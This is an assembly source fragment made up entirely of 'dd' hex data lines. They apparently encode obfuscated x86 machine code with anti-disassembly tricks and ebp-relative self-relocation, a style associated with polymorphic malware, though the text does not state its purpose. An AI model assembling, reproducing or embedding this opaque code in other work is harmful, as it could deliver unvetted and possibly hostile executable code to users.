		dd 44810424h, 1A0424h, 56460000h, 2B3C78C3h, 0A50C35B6h
		dd 1705B589h, 0DE90612h, 30000000h, 2504E08Ch, 0A1A17BACh
		dd 6A5E748Fh, 2E19B5FFh, 0BF660612h, 0BA66E6F2h, 858DCE9Ch
		dd 6123B56h, 0F0D98166h, 0E8D0FF5Dh, 8,	0C3DACFF8h, 7A9B3493h
		dd 11758D8Bh, 60590612h, 894CF780h, 12110985h, 85896106h
		dd 6122F59h, 0C800Fh, 860F0000h, 6, 15499D89h, 85C60612h
		dd 6120259h, 0F9BF6677h, 94AABA81h, 0A3681B5Fh,	0FF397A8h
		dd 480h, 0E6B96600h, 9B5FF85h, 89061213h, 120879BDh, 56858D06h
		dd 0F06123Bh, 683h, 4D8D0300h, 0FF06121Ah, 7DBD23D0h, 89061212h
		dd 12094985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0B97F8F32h, 4EB9FFCAh, 0FE8h, 26AD9300h
		dd 9EEE38CFh, 0D7694F5Bh, 534BCC70h, 13E5B589h,	0C65A0612h
		dd 12025985h, 0F58A4706h, 0FAF668FCh, 6A8728h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 65117C3h, 0C805ACEFh, 19B5FFF8h, 6A06122Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0D215C356h, 2D4E2BB4h, 29806F81h, 1215A59Dh,	56858D06h
		dd 6A06123Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 815EC352h, 0C34AC9F7h,	0D6BF0F1Dh
		dd 0BF66D0FFh, 85898028h, 6122FFDh, 337FBF66h, 12F18D8Bh
		dd 85C60612h, 6120259h,	870F5343h, 0
		dd 6EFC685Fh, 6ABC8Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BCCB9C3h, 12305D95h, 19B5FF06h
		dd 0E906122Eh, 14h, 7C204E74h, 37F8DB9Ah, 1B372F7h, 0DC54E26Bh
		dd 6FCADD65h, 3B56858Dh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0EC9734C3h, 0FAD74F4h
		dd 0B70FCEBFh, 60D0FFD2h, 10E9h, 0C4B7F800h, 40BA36A7h
		dd 65D6064h, 13EBBA63h,	61D18BEEh, 27D8589h, 95890612h
		dd 6122E59h, 25985C6h, 81450612h, 0D5C9AF7h, 69696864h
		dd 0D9818E72h, 401F368Eh, 2E19B5FFh, 958B0612h,	61209DDh
		dd 3B56858Dh, 8D890612h, 6121195h, 11E9D0FFh, 0C0000000h
		dd 4190D688h, 8D873553h, 0D6F655E5h, 4F12ACC6h,	66D8589h
		dd 0C6F80612h, 12025985h, 85894406h, 6121BE1h, 0F2EC6468h
		dd 952B56B8h, 6123239h,	19B5FF5Ah, 0BA06122Eh, 28FF4496h
		dd 3B56858Dh, 0B9660612h, 0D0FF8BCCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 47C35343h, 8956CA8Ah, 122E4DBDh
		dd 9D858906h, 6A061221h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0D92FC357h,	40FF405Bh
		dd 85C61933h, 6120259h,	89BD0B43h, 68061234h, 0C0764AA7h
		dd 0F9C28166h, 19B5FF37h, 0BF06122Eh, 76270711h, 8D1FED80h
		dd 123B5685h, 43EA8106h, 0FF1410F7h, 8936B2D0h,	12052985h
		dd 0D38B6606h, 4D0BD80h, 0F000615h, 9F84h, 84BA6600h, 0B2858D18h
		dd 0BF061504h, 6B669266h, 998D8950h, 6A06121Ah,	0FE901h
		dd 78C40000h, 52E0CAE4h, 0AB9F54E3h, 5FB91699h,	1D958BC1h
		dd 6A061221h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 2EB8AD05h, 1202D0D0h, 0CD80A975h
		dd 66006AE4h, 0FF1F68B9h, 120A4595h, 0FE906h, 39980000h
		dd 0D9415608h, 0E1CF4535h, 8A71E796h, 0C9858974h, 0F061231h
		dd 0FF6ACFBFh, 16359D89h, 0B5FF0612h, 61231C9h,	29BD9589h
		dd 95FF0612h, 61235C9h,	8B52C08Bh, 122F4195h, 0BD835F06h
		dd 6120E71h, 83097500h,	122D69BDh, 19740006h, 0C08B5350h
		dd 7D1B8h, 0F5858900h, 8D061234h, 14AFEA9Dh, 5BD3FF06h
		dd 69BD8358h, 6122Dh, 53501774h, 7D1B8h, 0F5858900h, 8D061234h
		dd 14ACD99Dh, 5BD3FF06h, 0D18B6658h, 0C08BCA8Bh, 33218D2Bh
		dd 820F0612h, 8, 2850Fh, 0E88A0000h, 25985C6h, 0E8470612h
		dd 11h,	2388A375h, 629F15BFh, 0AF48D731h, 0CE31DBD9h, 5FFA8B4Ah
		dd 0C168CE8Ah, 8993C8F7h, 121525BDh, 19B5FF06h,	6A06122Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 310DC351h, 3F9F08C8h, 0E8F9F3E3h,	0Eh, 0BD8393A0h
		dd 0E1A7559Ch, 4FB7B97Eh, 0CDB26F15h, 56858D59h, 8B06123Bh
		dd 1233E98Dh, 0BFD0FF06h, 59C46Eh, 0F88B6650h, 0FE9h, 0A4D91E00h
		dd 0FE8E0542h, 1311551Eh, 0E58669ACh, 8F3858Dh,	8D290615h
		dd 6121345h, 9400C7h, 0BF0F0000h, 6A58F8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0AA8282C3h
		dd 0F60DD6Bh, 8B66F1B7h, 0B58D61C6h, 61508F3h, 0ABD958Bh
		dd 80560612h, 0D0FF28E9h, 0CE9h, 0DBCEF000h, 8139130Ch
		dd 523E80C3h, 7FBA6621h, 0F3858DC1h, 8B061508h,	1204F1BDh
		dd 4788306h, 31850F06h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BFD2C356h
		dd 3C8F7D01h, 98785C7h,	10615h,	958B0000h, 6120449h, 1475BD83h
		dd 0F000612h, 3385h, 87BD8300h,	61509h,	26850Fh, 0D2800000h
		dd 0C9BD8386h, 61210h, 16840Fh,	0BD030000h, 61232EDh, 216585C7h
		dd 612h, 0BD8B0000h, 61212E5h, 23DB8C66h, 1213ADBDh, 4C3F606h
		dd 4A1840Fh, 0B70F0000h, 0E985C7D2h, 6121Fh, 66000000h
		dd 1F46CA81h, 4DDBD80h,	0F000615h, 1F85h, 10E800h, 4C550000h
		dd 4FCB896Ch, 0C265BBD9h, 241F9ECAh, 8E0F4109h,	3, 59D0BF0Fh
		dd 25985C6h, 60470612h,	11B18501h, 860F0612h, 4, 0B797BA66h
		dd 5B866861h, 0B5FFE3E4h, 6122E19h, 8DFAB70Fh, 123B5685h
		dd 18D8B06h, 0FF06122Eh, 468FCD0h, 80000001h, 9D8DE7D2h
		dd 6120679h, 2FED9589h,	8B530612h, 1233258Dh, 66D0FF06h
		dd 8DA733BFh, 12067985h, 91BD8906h, 50061204h, 0C901BA66h
		dd 48F858Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8589A6C3h, 61230C1h, 13F98D31h
		dd 0B9500612h, 2FC2C5F6h, 0FB62858Dh, 6A0614h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 2A6629C3h, 0DBD8B50h, 0FF061235h, 12094995h,	0C483F906h
		dd 5D958B0Ch, 6A061224h, 806800h, 36A0000h, 6A006Ah, 68h
		dd 62858D80h, 500614FBh, 27D95FFh, 85890612h, 6150472h
		dd 25985C6h, 68470612h,	0C7B15E87h, 2E19B5FFh, 858D0612h
		dd 6123B56h, 6AD0FFh, 472B5FFh,	0D0FF0615h, 11E960h, 0F6FA0000h
		dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch, 618F9DA3h, 50AFB860h
		dd 8B6620B1h, 0D03D61C2h, 0F000037h, 4F83h, 0DE800h, 75180000h
		dd 0A1C89027h, 0F4209670h, 5649C398h, 2D518D89h, 59590612h
		dd 472B5FFh, 0FFF50615h, 12052995h, 10E806h, 0A47F0000h
		dd 47B3B858h, 841A64C2h, 479BFF41h, 958BC7BAh, 6120655h
		dd 0DFE959h, 85890000h,	612051Dh, 472B5FFh, 0BE90615h
		dd 0F2000000h, 0D5BC4BBh, 0B9A53140h, 95FFBB8Ch, 6120529h
		dd 3F4EF2BAh, 0E9006A16h, 0Ah, 792B65FAh, 0CAE3C842h, 6AE835h
		dd 14698589h, 6A0612h, 0DCC98166h, 6A006AA2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8A0DC352h, 0FC4B5718h, 8B60CB46h, 1227059Dh,	0B5C88006h
		dd 66006A61h, 3A27E781h, 217DB529h, 6A0612h, 476858Dh
		dd 0FE90615h, 7C000000h, 275044F4h, 96992BC5h, 0D032138Fh
		dd 8B508634h, 121211BDh, 7D95FF06h, 89061202h, 122DC985h
		dd 0FFF88306h, 121850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0AAB95BC3h, 0CCD28166h
		dd 2858D75h, 890614C0h,	12260595h, 11958B06h, 0FF061212h
		dd 119589D0h, 6A061215h, 8B665200h, 6A5AD3h, 6A49F280h
		dd 6AC88B00h, 41BD8900h, 6A061200h, 800F5000h, 6, 14499D29h
		dd 6A5A0612h, 5D953300h, 8D061224h, 15047685h, 95BD8B06h
		dd 8906122Bh, 121159B5h, 6A5006h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0C3A448C3h, 0CEC921F5h
		dd 8D8B5152h, 61212C1h,	346D9D01h, 95FF0612h, 612027Dh
		dd 20D98589h, 8D890612h, 6121531h, 0FFFF883h, 5685h, 0E7816600h
		dd 0B58D51BBh, 614FE7Eh, 7E9h, 96BF0E00h, 0CA02D8A5h, 0A9BB858Dh
		dd 0CF810614h, 4F321EECh, 0BF0FD0FFh, 52006ACAh, 29DDB501h
		dd 0FF590612h, 12066D95h, 11E906h, 0E03A0000h, 8EF2ABE2h
		dd 0D7DA8BEDh, 6AA911ABh
		dd 604687E8h, 0FC7B70Fh, 8961D7BFh, 15047285h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BA95F9B5h, 0E9816656h, 6A5F39C3h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 66669025h, 858DD68Bh, 615046Ah, 3800Fh, 0BF0F0000h
		dd 0B58950D7h, 61213C1h, 958B046Ah, 6120A29h, 3281858Dh
		dd 0CA810612h, 175522D9h, 50CB8B66h, 2FA18589h,	6A0612h
		dd 5E9h, 0D4B50400h, 5E9D76Bh, 0EE000000h, 64540A26h, 9589006Ah
		dd 61231B1h, 8E9h, 44003200h, 21BCB5DCh, 80016AD2h, 0B5FFBEEEh
		dd 6150472h, 0FFADDD80h, 12219D95h, 5BD0106h, 0E9061231h
		dd 1A5Eh, 128A0Fh, 0DE90000h, 0B9000000h, 12FF82A9h, 0F5FAE550h
		dd 0CA5ED4D2h, 0FF88B60h, 185h,	8B61F800h, 0BD8B53C0h
		dd 612025Dh, 71BD835Fh,	6120Eh,	0BD830975h, 6122D69h, 50197400h
		dd 0B8C08B53h, 7D2h, 34F58589h,	9D8D0612h, 614AFEAh, 585BD3FFh
		dd 2D69BD83h, 74000612h, 0B8535017h, 7D2h, 34F58589h, 9D8D0612h
		dd 614ACD9h, 585BD3FFh,	6820Fh,	9D890000h, 6120A2Dh, 0AE31F181h
		dd 0C08B4A85h, 0C7D78B66h, 121FE985h, 106h, 68A0F00h, 8B000000h
		dd 122139BDh, 0E7B86806h, 0B5FFCEE4h, 61224B1h,	3B56858Dh
		dd 0D0FF0612h, 12798589h, 858D0612h, 61506CEh, 8B858D50h
		dd 50061509h, 168h, 7995FF80h, 0B061212h, 0C70A75C0h, 121B7D85h
		dd 106h, 0DBD46800h, 0B5FFC005h, 61224B1h, 3B56858Dh, 0D0FF0612h
		dd 44D8589h, 858D0612h,	614F91Bh, 19B5FF50h, 0FF06122Eh
		dd 121C6195h, 74C00B06h, 8DD88B0Bh, 1508CE85h, 0D3FF5006h
		dd 8CE858Dh, 83660615h,	0A750938h, 30A185C7h, 10612h, 95FF0000h
		dd 6122FFDh, 0FF25h, 5F88300h, 85C70A73h, 6122AA9h, 1
		dd 4E00DF81h, 0BD8B052Bh, 61224D1h, 4DDBD80h, 0F000615h
		dd 2084h, 0B70F6000h, 5D9D89F3h, 6106122Fh, 987BD83h, 0F000615h
		dd 1384h, 7142B900h, 8B663666h,	18D0E9FBh, 0EA810000h
		dd 4BC2320Dh, 30A1BD83h, 0F000612h, 0F285h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 5DF507FBh, 0DBD52149h, 0FEB70FCDh, 4A7858Dh,	0F570615h
		dd 688h, 3D958B00h, 5A061226h, 5B58950h, 6A061213h, 57006A01h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 35A3C79h, 0DCAE7FC5h, 2199958Bh, 6A0612h, 172D9509h
		dd 6A0612h, 30D98D89h, 95FF0612h, 6120A45h, 1880Fh, 29F50000h
		dd 122FC5B5h, 0D1858906h, 0F061504h, 248Ch, 0BE800h, 9B6C0000h
		dd 76204832h, 59ABDF65h, 0DE83Dh, 85710000h, 9A02882Ch
		dd 7D4192A1h, 5A4F6EA9h, 0E8FF6A5Ah, 0Ah, 0D84E62Dh, 816DFF43h
		dd 0BD0918AFh, 6121689h, 0D1B5FF5Fh, 9061504h, 120FB18Dh
		dd 0C995FF06h, 60061235h, 62D9529h, 8D610612h, 14F8E285h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 5BDC236h, 8E9h, 329A3D00h, 4E48F0B1h, 0BF0F50ACh
		dd 8995FFD2h, 51061221h, 10E5BD01h, 89590612h, 14F96C85h
		dd 95B58906h, 8D061211h, 14F8EF85h, 50D18A06h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D1C35747h, 5CC84554h
		dd 935F56Fh, 0FF39B5D0h, 14F96CB5h, 0F98B6606h,	1C6195FFh
		dd 89F90612h, 120AED85h, 0A19D8906h, 9061209h, 122371B5h
		dd 5D858D06h, 8B0614F9h, 121C798Dh, 0B5895006h,	6122D29h
		dd 0F96CB5FFh, 8D8B0614h, 612198Dh, 1C6195FFh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 3D0438C3h, 9E915h, 0ACE00000h, 3D0B7A4h, 89A2D7BBh
		dd 14F98085h, 31958B06h, 8D06121Ch, 14F93C85h, 7DBD3106h
		dd 50061203h, 84D8529h,	0B5FF0612h, 614F96Ch, 14498D8Bh
		dd 95FF0612h, 6121C61h,	3830Fh,	0BF0F0000h, 788589D7h
		dd 0BF0614F9h, 367912E2h, 0F92F858Dh, 958B0614h, 612167Dh
		dd 16D28150h, 0FF65F2EDh, 14F96CB5h, 6195FF06h,	6A06121Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0FC4C350h, 858979A0h, 614F97Ch, 4A858DFCh
		dd 0F0614F9h, 28Eh, 50FE8B00h, 1439BD8Bh, 0D4BA0612h, 0FF4EB2EAh
		dd 14F96CB5h, 11BD8906h, 0FF061206h, 121C6195h,	48E0F06h
		dd 66000000h, 662F11BFh, 6851EA81h, 658589h, 0B9660612h
		dd 858D4823h, 614F8FEh,	13E8h, 0A4954B00h, 24854FEh, 0BD85B8DAh
		dd 0C4F07D7Eh, 4C88A67Eh, 31898D0Bh, 50590612h,	355D958Bh
		dd 6E90612h, 0EC000000h, 952C20DEh, 6CB5FF1Fh, 8B0614F9h
		dd 6195FFFAh, 6A06121Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 1856C356h, 22118253h
		dd 0A73ECFFCh, 0A5958BF9h, 8906120Fh, 14F97085h, 89FC6006h
		dd 122BBD95h, 0B5016106h, 6123379h, 0F90D858Dh,	0BD8B0614h
		dd 6121541h, 52006A50h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 919802A6h, 21EE450Ah, 6CB5FFCCh
		dd 0FF0614F9h, 121C6195h, 8F0F5206h, 2,	895A57B1h, 14F97485h
		dd 0B5958B06h, 6806122Dh, 104h,	350DBD03h, 858D0612h, 614FA04h
		dd 2559BD0Bh, 89500612h, 121BFD95h, 8858D06h, 330614FBh
		dd 12098D95h, 958B5006h, 6122AEDh, 2F5995FFh, 81660612h
		dd 85A9D5D9h, 0C850FC0h, 0F000000h, 68Ch, 0B18D3300h, 80061235h
		dd 1504DDBDh, 850F0006h, 17h, 22218589h, 8D2B0612h, 6120FD9h
		dd 14C1E9h, 75958B00h, 83061220h, 1230A1BDh, 850F0006h
		dd 13h,	987BD83h, 0F000615h, 2884h, 35950100h, 8D061200h
		dd 14F9A185h, 0C18D3306h, 0E9061223h, 148Ah, 5E9h, 55EBA400h
		dd 0EE914DCh, 8A000000h, 8C858DCBh, 290614F9h, 120389B5h
		dd 858D5006h, 614FA04h,	8A0Fh, 0D2810000h, 4380B0A9h, 0BE86050h
		dd 79000000h, 0B8117847h, 9B42EA02h, 95319CB8h,	61230BDh
		dd 6E959h, 0BAD30000h, 0FDB7A77Bh, 0A1BD8361h, 61230h
		dd 4F840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0CA8B28C3h, 200DBD89h, 858D0612h
		dd 614FB2Ah, 14E8h, 65E7FA00h, 508EBFB6h, 0ABF06A01h, 0F882F68h
		dd 6599A8A4h, 12E95FC8h, 89000000h, 12357DBDh, 13858D06h
		dd 8B0614FBh, 12320DBDh, 6A5006h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 25DD0EC3h, 0C8B0Fh, 860F0000h
		dd 6, 27C3C781h, 858D6740h, 614FB62h, 0B45BD89h, 9500612h
		dd 1206398Dh, 4995FF06h, 89061209h, 1226818Dh, 10C48306h
		dd 8BC08BF5h, 120A8DBDh, 71BD8306h, 6120Eh, 0BD830975h
		dd 6122D69h, 50197400h,	0B8C08B53h, 7D3h, 34F58589h, 9D8D0612h
		dd 614AFEAh, 585BD3FFh,	2D69BD83h, 74000612h, 0B8535017h
		dd 7D3h
		dd 34F58589h, 9D8D0612h, 614ACD9h, 585BD3FFh, 3331BD89h
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2BB5C5C3h, 79305B69h, 31C08B49h, 12224DBDh
		dd 8CBD8106h, 6F0614F9h, 0F616572h, 0CF84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 8E81EA7Bh, 29F57002h, 1234F19Dh, 4858D06h, 500614FAh
		dd 0FB41858Dh, 8D500614h, 14FB6285h, 95FF5006h,	6120949h
		dd 0C60CC483h, 12025985h, 4F684406h, 0FF96A318h, 122E19B5h
		dd 56858D06h, 0FF06123Bh, 8DD88BD0h, 14FB6285h,	0D3FF5006h
		dd 0F98C858Dh, 8D500614h, 14FA0485h, 0BD835006h, 61230A1h
		dd 8D087400h, 14FB2A85h, 8D06EB06h, 14FB1385h, 858D5006h
		dd 614FB62h, 4995FF50h,	83061209h, 8D8B10C4h, 612129Dh
		dd 66D18B66h, 820FD08Bh, 1Ch, 14E8h, 0CCF48400h, 0A160B80Fh
		dd 5F19B418h, 0E2BF461h, 649B0ED6h, 5ACA8B1Dh, 2FFD95FFh
		dd 830F0612h, 2, 0FF25D38Bh, 6A000000h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 80E9C357h
		dd 0A0C692E4h, 81395096h, 4608BDEAh, 16890F74h,	52000000h
		dd 0EE8h, 8905CF00h, 828D5252h,	0EFBF5DFBh, 5F85250Fh
		dd 5F88359h, 2C830Fh, 8D0F0000h, 3, 0C7AED280h,	122AA985h
		dd 106h, 0D2B70F00h, 0F9C0858Dh, 81660614h, 0E9CB6EE2h
		dd 4Eh,	11699D89h, 0BD830612h, 61230A1h, 2F840F00h, 80000000h
		dd 858DC4E1h, 614F9EBh,	0FE9h, 0F6E78500h, 0AE92BCB0h
		dd 45E71A59h, 0AB203339h, 0D9816657h, 0E9596011h, 12h
		dd 15DBD23h, 858D0612h,	614F9CDh, 2F09BD8Bh, 85890612h
		dd 614FA00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	1BC35545h, 0B50980AEh, 6120E5Dh, 14B19589h, 0BD830612h
		dd 61230A1h, 1C850F00h,	60000000h, 535B589h, 61FC0612h
		dd 987BD83h, 0F000615h,	1184h, 0AD950900h, 0E906121Bh
		dd 10E2h, 2A4D8D89h, 1FE90612h,	60000004h, 122DB589h, 0BD230612h
		dd 61210E5h, 89C08B61h,	122B89BDh, 0F8BA6606h, 71BD8330h
		dd 6120Eh, 0BD830975h, 6122D69h, 50197400h, 0B8C08B53h
		dd 7D4h, 34F58589h, 9D8D0612h, 614AFEAh, 585BD3FFh, 2D69BD83h
		dd 74000612h, 0B8535017h, 7D4h,	34F58589h, 9D8D0612h, 614ACD9h
		dd 585BD3FFh, 3089BD89h, 0BD090612h, 61215D9h, 7958CA81h
		dd 0C08B7E47h, 9407C9BAh, 3F6875h, 0D181000Fh, 15B83212h
		dd 0CD80006Ah, 81006A1Ch, 7AAD81D1h, 0ED95FF1Ah, 0B606120Ah
		dd 0FC0859Bh, 985h, 1EC98000h, 241D958Bh, 85890612h, 614F984h
		dd 21CD8509h, 0F570612h, 687h, 810F00h,	5A000000h, 6AF9006Ah
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 89D38B3Fh, 120955B5h, 4D958B06h,	6A061227h
		dd 81BD8B00h, 6A061235h, 6AFE8B00h, 0CE900h, 0C7920000h
		dd 2928E679h, 56DD1992h, 858D3C0Ch, 614FB62h, 0F950F38Ah
		dd 9D89016Ah, 6121965h,	9DD8D8Bh, 16A0612h, 248D8589h
		dd 16A0612h, 0DE8C88Bh,	0F000000h, 0C9B8DE74h, 7B578847h
		dd 67103562h, 0A3ABD981h, 685A245Fh, 0F01FFh, 0F1EE8060h
		dd 619AE780h, 30A1BD83h, 0F000612h, 3C84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0BF78C522h, 0AB2DE850h, 0FDBD8B97h, 8D061207h, 14F9E185h
		dd 0DBD8B06h, 0E9061211h, 0Ah, 0B7858DF5h, 0F0614F9h, 0BA50CBB7h
		dd 3A49C5BFh, 65B58950h, 0FF06121Bh, 14F984B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0DFAC495Eh, 0F97095FFh, 5E90614h, 76000000h,	699ECC35h
		dd 5ED68056h, 0FC0855Ah, 2985h,	87E900h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 25EB94C3h, 0A7078D69h, 85891943h, 614F988h, 0FFCEBF0Fh
		dd 14F988B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0B5CA63D6h, 8B661F3Ah, 0F99D09D0h
		dd 0FF061211h, 12006595h, 8E806h, 0EAF00000h, 27DE5D28h
		dd 8D8B4F73h, 6121A45h,	0FC08559h, 885h, 2830F00h, 0B6000000h
		dd 8B106A83h, 122FC595h, 0A1BD8306h, 61230h, 15840Fh, 8DB50000h
		dd 0F9E1858Dh, 0D38B0614h, 1FE9h, 75BD2B00h, 8D061232h
		dd 14F9B785h, 8E906h, 0E5260000h, 4E622A70h, 8D8B9E06h
		dd 612247Dh, 57006A50h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BF668DA7h, 958B3577h, 6120C89h
		dd 0F984B5FFh, 6A0614h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0AEA272C3h, 0F97C95FFh, 95B90614h
		dd 857C939Ch, 6850FC0h,	8B000000h, 12213D95h, 88858906h
		dd 660614F9h, 6ACE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 96C35747h, 9E592AC1h,	56A9B9ACh, 6A40B7h
		dd 7622BA66h, 0F988B5FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 9B9F84C3h, 14486627h
		dd 0F97495FFh, 0D1BA0614h, 892BF9ABh, 120B3DBDh, 0FC08506h
		dd 585h, 5D82B900h, 0B5FF0BC9h,	614F988h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0F7C35343h, 0F9B589ACh
		dd 0FF061219h, 12006595h, 11E906h, 0C4830000h, 6E1BA6E3h
		dd 0B2CFC069h, 0CF7F2C02h, 0E85F68FBh, 0Dh, 71863D27h
		dd 39B7531Bh, 48A7B6DDh, 21BD0B1Fh, 5F061223h, 850FC085h
		dd 6, 2551B589h, 6A0612h, 68FBBF0Fh, 80h, 0A400BA66h, 75B9036Ah
		dd 661BDECAh, 6EEFC781h, 2960006Ah, 1202E585h, 6A6106h
		dd 681AD180h, 0C0000000h, 29C18D0Bh, 0B5FF0612h, 614FA00h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DBC35747h
		dd 8B8D4F3Fh, 1212358Dh, 0AF39BA06h, 95FF4BA9h,	612027Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CFC35343h
		dd 122297FAh, 10E87D55h, 24000000h, 707F0795h, 0E5076BA4h
		dd 39A9447h, 0F5239685h, 0FFF8835Fh, 59A850Fh, 0DEBA0000h
		dd 0FF7C20F8h, 15046E85h, 6810F06h, 31000000h, 1202F1BDh
		dd 6EBD8306h, 2061504h,	451840Fh, 8DF80000h, 5B243B85h
		dd 8E800h, 81440000h, 58EBA920h, 0FF5FD4E9h, 0D9503D0h
		dd 8D06122Ch, 5B1E8E85h, 12E800h, 0D4740000h, 5B743A88h
		dd 0D093DF5Dh, 1542944Fh, 79CD3804h, 2D319D89h,	0FF5F0612h
		dd 89958BD0h, 0B206120Fh, 0B9C08BBAh, 7FA75667h, 0E71BD83h
		dd 75000612h, 69BD8309h, 6122Dh, 53501974h, 0D8B8C08Bh
		dd 89000007h, 1234F585h, 0EA9D8D06h, 0FF0614AFh, 83585BD3h
		dd 122D69BDh, 17740006h, 0D8B85350h, 89000007h,	1234F585h
		dd 0D99D8D06h, 0FF0614ACh, 0B2585BD3h, 8DBD8B61h, 6A06122Bh
		dd 3E85000h, 20000000h,	8958C358h
		dd 81042444h, 18042444h, 40000000h, 847DC350h, 8B967712h
		dd 1201E9BDh, 85858906h, 8B061204h, 8B6051C0h, 1232098Dh
		dd 51BD8B06h, 61061204h, 3F685Fh, 8E9000Fh, 62000000h
		dd 0A6DE7A4Dh, 6A424068h, 6E900h, 74E80000h, 0BF443131h
		dd 0BF0F006Ah, 6810FFEh, 29000000h, 1204B58Dh, 0ED95FF06h
		dd 0B06120Ah, 120FD98Dh, 0E8C08506h, 0Fh, 3EF7736Fh, 2529D59Fh
		dd 55AC9FFFh, 5AE280F7h, 0F9848589h, 0FF680614h, 0E9000F01h
		dd 10h,	0C12A1939h, 0BDD2D476h,	3C3D1515h, 0AA9A45BEh
		dd 30A1BD83h, 0F000612h, 1A84h,	0F9958B00h, 8D061233h
		dd 14F9E185h, 0D78B6606h, 12E9h, 21952900h, 8D06121Ch
		dd 14F9B785h, 118D3106h, 50061233h, 16018589h, 0B5FF0612h
		dd 614F984h, 95FF92B6h,	614F97Ch, 1C35BD29h, 85890612h
		dd 614F988h, 6860Fh, 8D890000h,	6122701h, 318D85C7h, 612h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 88B17AC3h, 0BC056811h, 0DEDA8166h, 88BD8349h
		dd 614F9h, 252840Fh, 858D0000h,	614FC66h, 6A50CB8Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9FC1C350h, 0A294EF7Eh, 16A8630h, 6E9h, 9439700h, 0FFB3A326h
		dd 14F988B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 883D8926h, 0C9267F0Dh, 2BC68A60h
		dd 122101BDh, 95FF6106h, 614F980h, 1FF18D89h, 0B5FF0612h
		dd 614F988h, 2BE59503h,	95FF0612h, 6120065h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 70C35646h, 0CAC5A4CAh
		dd 0FB8B66E7h, 0AD952960h, 8B061200h, 0FF6861D7h, 60000F01h
		dd 34118D8Bh, 9E80612h,	0C6000000h, 0EE01EC72h,	91FD8765h
		dd 61595E52h, 30A1BD83h, 0F000612h, 4584h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
